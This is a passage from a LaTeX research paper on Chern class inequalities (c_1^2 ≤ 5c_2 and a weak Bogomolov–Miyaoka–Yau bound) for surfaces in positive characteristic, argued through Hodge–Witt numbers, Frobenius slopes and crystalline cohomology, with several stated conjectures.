type. Clearly when $h^{1,1}_W<0$ the Bogomolov-Miyaoka-Yau
inequality also fails. On the other hand if $X$ satisfies $c_1^2\leq
3c_2$ then $h^{1,1}_W\geq 0$. Thus the point of view which seems
to emerge from the results of this section is that surfaces with
$h^{1,1}_W<0$ are somewhat more exotic than the ones for which
$h^{1,1}_W\geq 0$. Indeed as was pointed out in
\cite{ekedahl-diagonal}, $h^{1,1}_W$ is a deformation invariant so
surfaces with $h^{1,1}_W<0$ do not even admit deformations which
lift to characteristic zero.
\end{remark}
\begin{corollary} If $X$ is a smooth projective surface for which
\eqref{weakBMY} fails to hold, then the slope spectral sequence of
$X$ has infinite torsion and does not degenerate at $E_1$.
\end{corollary}
\begin{proof}
Indeed, this follows from the formula
\begin{equation}
h^{1,1}_W=m^{1,1}-2T^{0,2},
\end{equation}
which is just the definition of $h^{1,1}_W$. The claim now follows as
$m^{1,1}\geq 0$ and hence $h^{1,1}_W<0$ implies that $T^{0,2}\geq
1$.
\end{proof}
\begin{remark}
Thus we see that the counter examples to Bogomolov-Miyaoka-Yau inequality given
in \cite{szpiro79} are not Hodge-Witt.
\end{remark}
\subsection{Surfaces for which $h^{1,1}_W\geq 0$ holds}
Our next result provides a large class of surfaces for which
$h^{1,1}_W\geq 0$ does hold.
\begin{theorem}\label{surfaces-with-non-negative-h11} Let $X/k$ be
a smooth, projective surface over a perfect field of
characteristic $p>0$. Assume $X$ satisfies any one of the
following hypothesis:
\begin{enumerate}
\item the surface $X$ is Hodge-Witt,
\item or $X$ is ordinary (in the sense of Bloch-Kato),
\item or $X$ is a Mazur-Ogus surface,
\item or assume $p\geq 3$ and $X$ is a Deligne-Illusie surface,
\item or assume $p=2$, and $X$ lifts to $W_2$.
\end{enumerate}
Then $X$ satisfies \eqref{weakBMY}:
\begin{equation*}
c_1^2\leq 5c_2+6b_1
\end{equation*}
\end{theorem}
\begin{proof}
The assertion that \eqref{weakBMY} holds is equivalent to
$h^{1,1}_W\geq 0$ where:
\begin{equation*}
h^{1,1}_W=m^{1,1}-2T^{0,2}=\frac{5c_2-c_1^2}{6}+b_1.
\end{equation*}
Thus it suffices to prove that $h^{1,1}_W\geq
0$. So (1) follows from the fact that $T^{0,2}=0$ as $X$ is
Hodge-Witt and $m^{1,1}\geq 0$ by definition. Now (1) implies (2) as $X$ is ordinary means that $X$ is Hodge-Witt. To prove (3) we can simply invoke \cite[Corollary 3.3.1, Page
86]{ekedahl-diagonal} which gives us $h^{1,1}_W=h^{1,1}$. However
we give an elementary proof in the spirit of this paper. We will
use the formulas $\chi(\O_X)=1-h^{0,1}+h^{0,2}$ and
$c_2=\chi_{et}(X)=1-b_1+b_2-b_3+b_4=2-2b_1+b_2$. By
\ref{noether-formula1} we have
\begin{equation}
12\chi(\O_X)=c_1^2+c_2,
\end{equation}
or equivalently $c_1^2=12\chi(\O_X)-c_2$. Now the assertion will
follow if we prove that $c_1^2\leq 5c_2+6b_1$. But
\begin{eqnarray}
5c_2-c_1^2+6b_1& = &5c_2-(12\chi(\O_X)-c_2)+b_1\\
&=&6c_2-12\chi(O_X)+6b_1\\
&=&6(2-2b_1+b_2)-12\chi(\O_X)+6b_1\\
&=&12-12b_1+6b_2-12(1-h^{0,1}+h^{0,2})+6b_1\\
&=&6b_1-12h^{0,1}+6b_2-12h^{0,2}
\end{eqnarray}
Thus we see that
$5c_2-c_1^2+6b_1=6(b_1-2h^{0,1})+6(b_2-2h^{0,2})$. By
\cite{deligne87} and the hypothesis that the crystalline
cohomology of $X$ is torsion free we have
$b_2=h^{0,2}+h^{1,1}+h^{2,0}$. Or equivalently by Serre duality we
get $b_2=2h^{0,2}+h^{1,1}$ and again by the hypothesis that the
crystalline cohomology of $X$ is torsion free we see that
${\rm Pic\,}(X)$ is reduced and so $b_1=2h^{0,1}$. Thus
$5c_2-c_1^2+6b_1=6h^{1,1}$ and so is non-negative and in
particular we have deduced that $h^{1,1}_W=h^{1,1}$.
The assertion (4) follows from
the third (via \cite{deligne87})--see Theorem~\ref{deligne-illusie-thm}.
The fifth
assertion follows falls into two cases: assume $X$ is not ruled,
then this follows from \cite{shepherd-barron91b} as the
hypothesis imply that $c_1^2\leq 3c_2$. If $X$ is ruled one
deduces this from our earlier result on surfaces with Kodaira
dimension $-\infty$.
\end{proof}
\begin{remark}
For this remark assume that the characteristic $p\geq 3$. In the
absence of crystalline torsion, $h^{1,1}_W$ detects obstruction to
lifting to $W_2$. More precisely, if $X$ has torsion free
$H^2_{cris}(X/W)$, and $h^{1,1}_W<0$, then $X$ does not lift to
$W_2$.
\end{remark}
\subsection{Examples of Szpiro, Ekedahl}\label{examples-of-szpiro}
As was pointed out in \cite{ekedahl-diagonal} the counter examples
constructed by Szpiro in \cite{szpiro79} also provide examples of
surfaces which are beyond the \eqref{weakBMY} faultline. We
briefly recall these examples. In \cite{szpiro79} Szpiro
constructed examples of smooth projective surfaces $S$ together
with a smooth, projective and non-isotrivial fibration $f:S\to C$
where the fibres has genus $g\geq 2$ and $C$ has genus $q\geq 2$.
Let $f_n: S_n\to C$ be the fibre product of $f$ with the
$n^{th}$-iterate of Frobenius $F_{C/k}: C\to C$. Then
\begin{eqnarray}
c_2(S_n)&=&4(g-1)(q-1)\\
c_1^2(S_n)&=&p^nd+8(g-1)(q-1)
\end{eqnarray}
where $d=deg(f_*(\Omega^1_{X/C}))$ is a positive integer. Thus in
this case, as was pointed in \cite{ekedahl-diagonal},
$h^{1,1}_W\to -\infty$ as $n\to \infty$. Further observe, as $d\geq 1$, that
\begin{equation}
c_1^2>pc_2
\end{equation}
for $n$ large; and also that for any given integer $m\geq 1$, there exists a smooth, projective, minimal surface of general type such that $c_1^2>p^m c_2$.
\subsection{Weak Bogomolov-Miyaoka holds in characteristic zero}
Assume for this remark that $k={\mathbb C}$, and that
$X$ is a smooth, projective surface. Then using the Hodge
decomposition for $X$, Noether's formula can be written as
\begin{equation}
h^{1,1}=10\chi(\O_X)-c^2_1+b_1,
\end{equation}
and as the left hand-side of this formula is always non-negative
we deduce that
\begin{equation} c_1^2\leq 10\chi(\O_X)+b_1.\end{equation}
This is easily seen
to be equivalent to
\begin{equation}
c_1^2\leq 5c_2+6b_1.
\end{equation}
\begin{remark} If the weak Bogomolov-Miyaoka-Yau \eqref{weakBMY}
fails to hold for a smooth projective surface $X$ of general type,
then $\Omega^1_X$ is Bogomolov unstable. Indeed this follows from
\cite[Corollary 15]{shepherd-barron91b}. To see that the
conditions of that corollary are valid it suffices to verify that
$c_1^2>\frac{16p^2}{(4p^2-1)}c_2$. By hypothesis, \eqref{weakBMY}
fails, so one has
\begin{equation}
c_1^2>5c_2+6b_1\geq 5c_2
\end{equation}
and as
\begin{equation}
4< \frac{16x^2}{(4x^2-1)}\leq 4.26\cdots
\end{equation}
for $x\geq 2$. Thus the assertion follows from Shepherd-Barron's
result.
\end{remark}
\subsection{Lower bounds on $h^{1,1}_W$}\label{lower-bounds}
In this subsection we are interested in lower bounds for
$h^{1,1}_W$. It turns out that unless we are in characteristic
$p\leq 7$, the situation is not too bad thanks to a conjecture of
Raynaud (which is a theorem of Shepherd-Barron).
\begin{proposition}\label{raynaud-lower-bound} Let $X$
be a smooth projective surface of general type. Then
\begin{enumerate}
\item except when $p\leq 7$ and $X$ is fibred over a curve of
genus at least two and the generic fibre is a singular rational
curve of arithmetic genus at most four we have
\begin{equation}
-c_1^2\leq h^{1,1}_W \leq h^{1,1}.
\end{equation}
\item If $c_2>0$ then $h^{1,1}_W>-\frac{1}{6}c_1^2$.
\item If $X$ is not uniruled then
\begin{equation}
-\frac{1}{6}c_1^2\leq h^{1,1}_W\leq h^{1,1}.
\end{equation}
\item If $h^{1,1}_W<-\frac{1}{6}c_1^2$ then there exists
a morphism $X\to C$ with connected fibres and $C$ has genus at
least one.
\end{enumerate}
\end{proposition}
\begin{proof}
We prove(1). Assume if possible that $h^{1,1}_W<-c_1^2$. Then by
using the formula $h^{1,1}_W=b_1+10\chi(\O_X)-c_1^2$ we get
$b_1+10\chi(\O_X)<0$. As $b_1\geq 0$ this implies that
$\chi(\O_X)<0$. By \cite[Theorem 8]{shepherd-barron91b} we know
that any surface of general type with negative $\chi(\O_X)$ we
have $p\leq 7$; and whenever $\chi(\O_X)<0$ the surface $X$ is
fibred over a curve of genus at least two and the generic fibre is
singular rational curve of genus at most four. Next we prove (2)
and (3) which are really consequence of Raynaud's conjecture which
was proved in \cite{shepherd-barron91b}, using the formula for
$h^{1,1}_W$ in terms of $c_1^2,c_2,b_1$. So suppose that $X$ is
not uniruled and assume, if possible, that
\begin{equation}
h^{1,1}_W<-\frac{1}{6}c_1^2
\end{equation}
Then writing out Ekedahl's formula for $h^{1,1}_W$ we get
\begin{equation}
h^{1,1}_W=b_1+\frac{5}{6}c_2-\frac{1}{6}c_1^2<-\frac{1}{6}c_1^2,
\end{equation}
and so this forces:
\begin{equation}
b_1+\frac{5}{6}c_2<0
\end{equation}
and as $b_1\geq 0$ we see that $c_2$ is negative. Now by
\cite[Theorem~7, page 263]{shepherd-barron91b} we see that $X$ is
uniruled which contradicts our hypothesis. Now we prove (4). This
is a part of the proof of Raynaud's conjecture in
\cite{shepherd-barron91b}. It is clear that the hypothesis implies
that $c_2<0$. So by loc. cit. we know that the map $X\to {\text{Alb}}(X)$
has one dimensional image, and this finishes the proof.
\end{proof}
\begin{remark}
\begin{enumerate}
\item By a result of \cite{lang79}, exceptions in
Theorem~\ref{raynaud-lower-bound}(1) do occur.
\item Thus the examples of surfaces given in
Subsection~\ref{examples-of-szpiro} satisfy the inequality in
Proposition~\ref{raynaud-lower-bound}.
\end{enumerate}
\end{remark}
The following is rather optimistic expectation (because of the paucity of examples) and it would not surprise us if it turns out to be false.
\begin{conj}\label{negative-h11-fibration}
If $X$ is a smooth projective surface with that
$-\frac{1}{6}c_1^2\leq h^{1,1}_W<0$ and $b_1\neq 0$ then the
image of the Albanese map $X\to {\text{Alb}}(X)$ is one dimensional.
\end{conj}
\subsection{A class of surfaces general type surfaces for which $c_1^2\leq 5c_2$}
Let us begin with the following proposition.
\begin{proposition}\label{m11andpg} Let $X$ be a smooth, projective, minimal surface
of general type
such that
\begin{enumerate}
\item $X$ is
Hodge-Witt,
\item $c_2>0$,
\item $m^{1,1}\geq 2p_g$,
\end{enumerate}
Then $$c_1^2\leq 5c_2$$ holds for $X$.
\end{proposition}
\begin{proof}
Since $X$ is minimal of general type so $c_1^2>0$.
By the formula for $h^{1,1}_W$ we have
$$6h^{1,1}_W=6(m^{1,1}-2T^{0,2})=5c_2-c_1^2+6b_1.$$
As $X$ is Hodge-Witt we see that $T^{0,2}=0$ and so
$$6(m^{1,1}-b_1)=5c_2-c_1^2.$$
Hence the asserted inequality holds if $m^{1,1}-b_1\geq 0$.
Writing $$m^{1,1}-b_1=(m^{1,1}-2p_g)+(2p_g-2q),$$ where we have
used $b_1=2q$. Thus to prove the proposition it will suffice to
prove that each of the two terms in the parenthesis are
non-negative. The first holds by the hypothesis of the proposition
and for the second, we see, as $2q\leq 2h^{0,1}$, that $$2p_g-2q\geq
2p_g-2h^{0,1}=2(\chi(\O_X)-1).$$
Thus to prove the proposition, it suffices to show that
we have $\chi(\O_X)\geq 1$. This is immediate, from Noether's formula~\ref{noether-formula2} and our hypothesis that $c_2>0$.
\end{proof}
\begin{remark} Let us remark that in characteristic $p>0$, $\chi(\O_X)$ may be non-positive and likewise $c_2$ can be non-postive. However it has been shown in \cite{shepherd-barron91a} that if
$p\geq 7$, then $\chi(\O_X)\geq 0$ for any smooth, projective
minimal surface of general type. Moreover if $\chi(\O_X)=0$, then $c_2<0$
by Noether's formula \ref{noether-formula1}. It was shown in
\cite{shepherd-barron91b}, if $c_2<0$ then $X$ is uniruled (and in any case if
$c_2<0$, then the inequality $c_1^2\leq 5c_2$ is false). In contrast if $k={\mathbb C}$, a well-known result of Castelnouvo says $c_2\geq 0$ and $\chi(\O_X)>0$ ($X$ minimal of general type).
\end{remark}
The following proposition is a variant of Proposition~\ref{m11andpg} and is valid for the larger class of Mazur-Ogus surfaces. This proposition gives a sufficient condition (in terms of slopes of Frobenius and the geometric genus of the surface) for $c_1^2\leq 5c_2$ to hold.
\begin{proposition}\label{m11andpg2} Let $X$ be a smooth, projective, minimal surface
of general type
such that
\begin{enumerate}
\item $X$ is Mazur-Ogus,
\item $c_2>0$,
\item $m^{1,1}\geq 4p_g$,
\end{enumerate}
Then $$c_1^2\leq 5c_2$$ holds for $X$.
\end{proposition}
\begin{proof}
We argue as in the proof of Proposition~\ref{m11andpg}. Since $X$ is minimal of general type so $c_1^2>0$. By the formula for $h^{1,1}_W$ we have
$$6h^{1,1}_W=6(m^{1,1}-2T^{0,2})=5c_2-c_1^2+6b_1.$$
As $X$ is Mazur-Ogus we see that $h^{1,1}_W=h^{1,1}$
and so we have
$$6(m^{1,1}-2T^{0,2}-b_1)=5c_2-c_1^2.$$
Hence the asserted inequality holds if $m^{1,1}-2T^{0,2}-b_1\geq 0$.
Writing $$m^{1,1}-2T^{0,2}-b_1=(m^{1,1}-4p_g)+(2p_g-2T^{0,2})+(2p_g-2q),$$
where we have
used $b_1=2q$. Thus to prove the proposition it will suffice to
prove that each of the three terms in the parentheses are
non-negative. The first holds by the hypothesis of the proposition
and for the second we argue as follows:
as $X$ is Mazur-Ogus, so
$$b_2=h^{0,2}+h^{1,1}+h^{2,0}=h^{1,1}+2p_g$$
by degeneration of Hodge-de Rham at $E_1$.
Further
$$b_2-2p_g=h^{1,1}=h^{1,1}_W=m^{1,1}-2T^{0,2}.$$
Hence
$$b_2-2p_g=m^{1,1}-2T^{0,2}.$$
So we get
$$b_2-m^{1,1}=2(p_g-T^{0,2}).$$
Now
$$b_2=m^{0,2}+m^{1,1}+m^{2,0},$$
which shows that $b_2-m^{1,1}\geq 0$ and so $p_g-T^{0,2}\geq 0$. Hence this term is non-negative. For the third term we see, as $2q\leq 2h^{0,1}$, that $$2p_g-2q\geq
2p_g-2h^{0,1}=2(\chi(\O_X)-1).$$ Thus the proposition follows as
as we have $\chi(\O_X)\geq 1$ from our hypothesis that $c_2>0$ and Noether's formula~\ref{noether-formula2}.
\end{proof}
We do not know how often the inequality $m^{1,1}\geq 4p_g$ holds. But the following Proposition shows that for surfaces of large degree in $\P^3$ the inequality $m^{1,1}\geq 4p_g$ holds.
\begin{proposition}\label{chern-example}
Let $X\subset \P^3$ be a smooth hypersurface of degree $d$. Then if $d\geq 5$, $X$ satisfies all the hypothesis of Proposition~\ref{m11andpg2}. Hence the class of surfaces to which Proposition~\ref{m11andpg2} applies is non-empty.
\end{proposition}
\begin{proof}
Let us assume $X$ is a smooth, projective surface of degree $d$ in $\P^3$. From the formulae for Hodge numbers in \cite{rapoport72,lewis-survey} it is clear for smooth, projective surfaces in $\P^3$, the numbers $b_2,h^{1,1},h^{0,2}=h^{2,0}=p_g$ depend only on $d$ and are constant in the family of smooth surfaces. Further Hodge-de Rham spectral sequence for $X$ degenerates at $E_1$ and crystalline cohomology of $X$ is torsion-free. Since $b_1=0$ we see that $c_2>0$. Thus all the hypothesis of Proposition~\ref{m11andpg2} are satisfied except possibly the hypothesis that $m^{1,1}\geq 4p_g$.
From the formula for Hodge-Witt numbers we have
$$h^{1,1}=h_W^{1,1}=m^{1,1}-2T^{0,2},$$
and as $h^{1,1}$ is constant in this family (as it depends only on the degree), while $T^{0,2}$ can only increases under specialization (this is a result of Richard Crew~\cite{crew85}), so we see that $m^{1,1}$ must also increase under specialization. At any rate we have $h^{1,1}\leq m^{1,1}$. So it suffices to prove that $h^{1,1}\geq 4p_g$. Now by Table~\ref{hodge-table}, we see that $h^{1,1}=b_2-2p_g$
and simple calculation shows
\begin{equation}
h^{1,1}-4p_g = 2d^2 - 5d + 4
\end{equation}
which is positive for $d\geq 5$. Hence for $d\geq 5$,
\begin{equation}
m^{1,1}\geq h^{1,1}>4p_g>2p_g.
\end{equation}
\end{proof}
\begin{remark}
It seems reasonable to expect that for large $c_1^2,c_2$, in the moduli of smooth, projective surfaces of general type, there is a Zariski open set of an irreducible component(s) consisting of Mazur-Ogus surfaces where $m^{1,1}\geq 4p_g$ holds.
\end{remark}
The following result, while not best possible, shows how we can use preceding ideas to obtain a Chern class inequality under reasonable geometric hypothesis. We do not know a result of comparable strength which can be proved by purely geometric means.
\begin{theorem}\label{strange-thm}
Let $X$ be a smooth, projective, minimal surface of general type. Assume
\begin{enumerate}
\item $c_2>0$,
\item $p_g>0$,
\item $X$ is Hodge-Witt,
\item ${\rm Pic\,}(X)$ is reduced or $H^2_{cris}(X/W)$ is torsion free,
\item and $H^2_{cris}(X/W)$ has no slope $<\frac{1}{2}$.
\end{enumerate}
Then
\begin{equation*}
c_1^2\leq 5c_2.
\end{equation*}
\end{theorem}
\begin{remark}
Before proving the theorem let us remark that in a smooth family of surfaces the Hodge-Witt locus is open (this is a result of Crew, see \cite{crew85}); the slope condition in our hypothesis is a closed condition in Newton strata (Newton polygon of $X$ lies on or above a finite list of polygons). So these two conditions provide a locally closed subset of base space. If we consider moduli of surfaces with fixed $c_1^2, c_2$, then by \cite{liedtke09} if $p$ is larger than a constant depending only on $c_1^2$, then ${\rm Pic\,}(X)$ is reduced. So our hypothesis while not generic in the moduli are relatively harmless.
\end{remark}
\begin{proof}[Proof of Theorem~\ref{strange-thm}]
Before proceeding let us make two remarks. Firstly the assumption that the slopes of Frobenius on $H^2_{cris}(X/W)$ are $\geq \frac{1}{2}$, together with the assumption that $p_g>0$ says that $X$ is Hodge-Witt but not ordinary (by Mazur's proof of Katz's conjecture); secondly we see that $\chi(\O_X)\geq 1$. This follows from Noether's formula~\ref{noether-formula1}, and the fact that for $X$ minimal of general type, $c_1^2\geq 1$. Observe that $c_2>0$ is necessary for $c_1^2\leq 5c_2$ to hold (as $c_1^2\geq 1$). Thus this hypothesis (that $c_2>0$) is at any rate required if we wish to consider chern class inequality of Bogomolov Miyaoka type to hold. Moreover our hypothesis that $H^2_{\rm cris}(X/W)$ is torsion-free implies ${\rm Pic\,}(X)$ is reduced (see \cite[Remark 6.4, page 641]{illusie79b}).
Proposition~\ref{m11andpg} shows that we have to prove that
$m^{1,1}\geq 2p_g$ (under our hypothesis). We now prove this inequality under our
hypothesis ${\rm Pic\,}(X)$ is reduced and $X$ is Hodge-Witt and $H^2_{cris}(X/W)$ satisfies the stated slope condition.
We begin by recalling the formula for $m^{1,1}$ (see \ref{slope-number-definition}).
\begin{equation}
m^{1,1}=\sum_{\lambda\in[0,1[}\lambda
m_\lambda+\sum_{\lambda\in[1,2[}(2-\lambda)m_\lambda,
\end{equation}
which, on writing $m_0=\dim H^2_{cris}(X/W)_{[0]}$, $m_1=\dim
H^2_{cris}(X/W)_{[1]}$, and noting that $m_0$ does not contribute
to $m^{1,1}$, can be written as
\begin{equation}
m^{1,1}=\sum_{\lambda\in]0,1[}\lambda
m_\lambda+m_1+\sum_{\lambda\in]1,2[}(2-\lambda)m_\lambda.
\end{equation}
Poincar\'e duality says that if $\lambda$ is a slope of $H^2_{\rm cris}(X/W)$ then $\lambda'=2-\lambda$ is also a slope of $H^2_{\rm cris}(X/W)$. Further under Poincar\'e duality we get $m_\lambda=m_{\lambda'}$. Hence for any $\nu\in]1,2[$ we have
\begin{equation}
(2-\nu)m_{\nu}=(2-\nu)m_{\nu'}=\nu' m_{\nu'},
\end{equation}
and for any $\nu\in]1,2[$, $\nu'\in]0,1[$. Thus we see that
\begin{equation}\sum_{\lambda \in]0,1[}\lambda m_{\lambda}+\sum_{\lambda\in]1,2[}(2-\lambda)m_{\lambda}=2\sum_{\lambda}\lambda m_{\lambda}
\end{equation}
Thus we get
\begin{equation*}
m^{1,1}=m_1+2\sum_{\lambda\in]0,1[}\lambda m_\lambda.
\end{equation*}
Under out hypothesis we claim that the sum on the right in the above equation is $\geq 2p_g$.
This
will involve the assumption that ${\rm Pic\,}(X)$ is reduced and the assumption that $X$ is Hodge-Witt. The assumption that $X$ is Hodge-Witt says that $H^2(W(\O_X))$ is a finite type $W$-module (see \cite{illusie79b}). Our hypothesis that ${\rm Pic\,}(X)$ is reduced means $V$ is injective on $H^2(W(\O_X))$. We claim that $H^2(W(\O_X))$ is a free, finite type $W$-module. If $H^2_{cris}(X/W)$ is torsion-free, then this is an immediate consequence of the existence of the Hodge-Witt decomposition of $H^2_{cris}(X/W)$ (see \cite[Theorem 4.5, page 202]{illusie83b}):
\begin{equation}
H^2_{cris}(X/W)=H^2(X,W(\O_X))\oplus H^1(X,W\Omega^1_X)\oplus H^0(X,W\Omega_X^2),
\end{equation}
which implies that $H^2(W(\O_X))$ is torsion-free.
Now suppose instead that ${\rm Pic\,}(X)$ is reduced. We want to prove that $H^2(X,W(\O_X))$ is torsion-free. We note that $X$ is Hodge-Witt so we see that $H^2(X,W(\O_X))$ is finite type as a $W$-module and profinite (as a $W[F,V]$-module). Now ${\rm Pic\,}(X)$ is reduced, by \cite[Remark 6.4,page 641]{illusie79b}, gives us the injectivity of $V$ on $H^2(X,W(\O_X))$. Hence $H^2(X,W(\O_X))$ is a Cartier module (see \cite[Def. 2.4]{illusie83b}). So by \cite[Proposition 2.5(d), page 99]{illusie83b} $H^2(X,W(\O_X))$ is free of finite type over $W$. In particular we have an exact sequence of
\begin{equation}
\xymatrix{
0\ar[r]& H^2(W(\O_X))\ar[r]^V &H^2(W(\O_X))\ar[r]& H^2(\O_X)\ar[r]& 0.}
\end{equation}
which shows that the
$W$-rank of the former is at least $p_g>0$.
Let us remind the reader that the degeneration of the slope spectral sequence modulo torsion (see \cite{illusie79b}) or the existence of the Hodge-Witt decomposition of $H^2_{cris}(X/W)$ (as above) shows that the slopes $0\leq \lambda<1$ of $H^2_{cris}(X/W)$ live in $H^2(W(\O_X))$.
Next note that for $\lambda$ satisfying
\begin{equation}
\frac{1}{2}\leq\lambda< 1
\end{equation}
we have $$\lambda\geq 1-\lambda>0.$$ Thus we have
\begin{equation}
\sum_{\lambda\in]0,1[}\lambda m_\lambda \geq \sum_{\lambda\in]0,1[} (1-\lambda) m_\lambda.
\end{equation}
We claim now that
\begin{equation}
\sum_{\lambda\in]0,1[} (1-\lambda) m_\lambda = \dim H^2(W(\O_X))/VH^2(W(\O_X)).
\end{equation} This is standard and is a consequence of the proof of \cite[Lemma 3]{crew85}--we state Crew's result explicitly as Lemma~\ref{crew-lemma} (below) for convenient reference. Finally the above exact sequence shows that
\begin{equation} H^2(W(\O_X))/VH^2(W(\O_X))\isom H^2(\O_X),
\end{equation} and hence that the sum is $\geq p_g>0$, and therefore
\begin{equation}
m^{1,1}\geq m_1+2p_g>2p_g,
\end{equation}
as $m_1\geq 1$ (by projectivity of $X$) so we are done by Proposition~\ref{m11andpg}.
\end{proof}
\begin{lemma}\cite[Lemma 3]{crew85}\label{crew-lemma}
Let $M$ be a $R^0=W[F,V]$-module (with $FV=p$) and such that $M$ is finitely generated and free as a $W$-module. Assume that the slopes of Frobenius on $M$ satisfy $0\leq\lambda<1$. Then
\begin{equation*}
\textrm{length}(M/VM)=\sum_{\lambda}(1-\lambda)m_\lambda.
\end{equation*}
\end{lemma}
\begin{remark}
Let us give examples of surfaces of general type which satisfy the hypothesis of our theorem. In general construction of Hodge-Witt but non-ordinary surfaces is difficult. Suppose $C,C'$ are smooth, proper curves over $k$ (perfect) with genus $\geq 2$, and that $C$ is ordinary and $C'$ has slopes of Frobenius $\geq 1/2$ in $H^1_{cris}(C'/W)$. Such curves exist--for example there exist curves of genus $\geq 2$ whose Jacobian is a supersingular abelian variety. Now let $X=C\times_k C'$. Then by a well-known theorem of Katz and Ekedahl \cite[Proposition 2.1(iii)]{ekedahl85}, $X$ is Hodge-Witt and by Kunneth formula, the slopes of Frobenius on $H^2_{cris}(X/W)$ are $\geq 1/2$. The other hypothesis of Theorem~\ref{strange-thm} are clearly satisfied.
\end{remark}
\subsection{On $c_1^2\leq 5c_2$ for supersingular surfaces}
In this subsection, we will say that $X$ is a \textit{supersingular surface} if $H^2(X,W(\O_X))\tensor_W K=0$ (here $K$ is the quotient field of $W$). This means that $H^2_{cris}(X/W)$ has no slopes in $[0,1)$ and hence by Poincar\'e duality, it has no slopes in $(1,2]$. Thus $H^2_{cris}(X/W)$ is pure slope one. Under reasonable assumptions the following dichotomy holds:
\begin{proposition}\label{chern-supersingular}
Let $X$ be a smooth, projective surface over a perfect field of characteristic $p>0$. Assume
\begin{enumerate}
\item $X$ is a minimal surface of general type,
\item $p_g>0$
\item $c_2>0$,
\item $X$ is Mazur-Ogus,
\item $X$ is supersingular.
\end{enumerate}
Then either
$$c_1^2\leq 5c_2,$$
or
$$c_2<2\chi(\O_X),$$ and in the second case no smooth deformation of $X$ admits any flat lifting to characteristic zero.
\end{proposition}
\begin{proof}
Since $X$ is Mazur-Ogus (i.e. Hodge-de Rham spectral sequence of $X$ degenerates at $E_1$, and crystalline cohomology of $X$ is torsion-free, and $X$ is supersingular, so we see that
\begin{eqnarray}
b_2&=&h^{2,0}+h^{1,1}+h^{0,2},\\
m^{1,1}&=&b_2.
\end{eqnarray}
Thus \ref{crew-formula} gives
\begin{equation}
h^{1,1}_W=h^{1,1}=b_2-2p_g=m^{1,1}-2T^{0,2}=b_2-2T^{0,2},
\end{equation}
which gives $T^{0,2}=p_g>0$, so $X$ is not Hodge-Witt. Further we have
\begin{equation}
h^{1,1}_W=h^{1,1}=b_2-2p_g=\frac{5c_2-c_1^2}{6}+b_1.
\end{equation}
This gives
\begin{equation}
6(b_2-b_1-2p_g)=5c_2-c_1^2.
\end{equation}
Thus we $$c_1^2\leq 5c_2$$ if and only if $$b_2-b_1-2p_g\geq 0.$$
If $b_2-b_1-2p_g\geq 0$ then $c_1^2\leq 5c_2$ and the first assertion holds and we are done.
Now suppose $b_2-b_1-2p_g<0$. So we get
$$
b_2<b_1+2p_g.
$$
Now we get from the fact that
\begin{equation}
c_2=b_2-2b_1+2,
\end{equation}
so that
\begin{equation}
c_2 = b_2-2b_1+2< b_1+2p_g-2b_1+2=2p_g-b_1+2=2\chi(\O_X).
\end{equation}
Hence
\begin{equation}
c_2<2\chi(\O_X).
\end{equation}
On the other hand note that if $k={\mathbb C}$ and $X/{\mathbb C}$ is smooth, minimal of general type then $c_2\geq 3\chi(\O_X)$ (by the Bogomolov-Miyaoka-Yau inequality and Noether's formula) so $c_2<2\chi(\O_X)$ never happens over ${\mathbb C}$. Hence no smooth deformation of a surface with $c_2<2\chi(\O_X)$ can be liftable to characteristic zero (as $c_2,\chi(\O_X)$ are deformation invariants).
\end{proof}
\begin{remark}
We do not know if the condition (on minimal surfaces of general type) that $c_2<2\chi(\O_X)$ is relatively rare or even bounded.
\end{remark}
\subsection{Recurring Fantasy for ordinary surfaces}\label{recurringfantasy}
In this subsection we sketch a very optimistic conjectural program (in fact we are still somewhat reluctant to call it a conjecture--perhaps, following Spencer Bloch, it would be better to call it a \textit{recurring fantasy}) to prove the analog of van de Ven's inequality \cite{deven76a} for ordinary surfaces of general type and which satisfy Assumptions~\ref{assumptions}. Unfortunately we do not know how to prove our conjecture (see Conjecture~\ref{ordinaryconj} below). We will make the following assumptions on $X$ smooth, projective over an algebraically closed field $k$ of characteristic $p>0$.
\subsubsection{Assumptions}\label{assumptions}
For the entire Subsection~\ref{recurringfantasy} we make the following assumptions on a smooth, projective surface $X$:
\begin{enumerate}
\item $X$ is minimal of general type,
\item $X$ is not fibred (possibly inseparably) over a smooth, projective curve of genus $g>1$,
\item $X$ is an ordinary surface,
\item and $X$ has torsion-free crystalline cohomology.
\end{enumerate}
The last two assumptions imply (see \cite{illusie83b}) that
\begin{enumerate}
\item Hodge and Newton polygons of $X$ coincide and,
\item We have a Newton-Hodge decomposition:
$$H^n_{cris}(X/W)=\oplus_{i+j=n}H^i(X,W\Omega^j_X),$$
\item the Hodge-de Rham spectral sequence of $X$ degenerates at $E_1$.
\end{enumerate}
In particular we have
\begin{equation}
H^1_{cris}(X/W)=H^0(X,W\Omega^1_X)\oplus H^1(X,W\O_X),
\end{equation}
and
\begin{equation}{\rm rk}_W H^0(X,W\Omega^1_X)={\rm rk}_W H^1(X,W\O_X).
\end{equation}
By the usual generalities (see \cite{illusie79b}) we have a cup product pairing of $W[F,V]$-modules (here $FV=p$):
\begin{equation}\label{cupproduct}
<\ ,\ >:H^1(X,W\O_X)\tensor H^0(X,W\Omega^1_X) \to H^1(X,W\Omega^1_X).
\end{equation}
\begin{conj}\label{ordinaryconj}
For any surface $X$ satisfying assumptions of (1)--(4) of section~\ref{assumptions}), the cup product paring of \eqref{cupproduct} satisfies the following properties:
\begin{enumerate}
\item for each fixed $0\neq v\in H^1(X,W\O_X)$, the map $<v,->$ is injective;
\item for each fixed $0\neq v'\in H^0(X,W\Omega^1_X)$, the mapping $<-,v'>$ is injective.
\end{enumerate}
\end{conj}
\begin{corollary}
Assume Conjecture~\ref{ordinaryconj} and let
\begin{eqnarray}
h^{0,1}&=&{\rm rk}_W H^1(X,W\O_X),\\
h^{1,0}&=&{\rm rk}_W H^0(X,W\Omega_X^1),\\
h^{1,1}&=&{\rm rk}_W H^1(X,W\Omega_X^1),
\end{eqnarray}
Then
\begin{equation*}
h^{1,1}\geq 2h^{1,0}-1=b_1-1.
\end{equation*}
\end{corollary}
It is clear that, assuming Conjecture~\ref{ordinaryconj}, this can be proved in a manner similar to van de Ven's proof of the above inequality (see \cite{deven76a}). The conjecture and the above inequality has the following immediate consequence.
\begin{theorem}\label{ordconjthm}
Under the assumptions of \ref{assumptions} and conjecture~\ref{ordinaryconj} on $X$, the chern classes of $X$ satisfy
\begin{equation*} c_1^2\leq 5c_2+6.
\end{equation*}
\end{theorem}
\begin{proof}
Recall the formula of Crew and Ekedahl \ref{crew-formula}
\begin{equation}
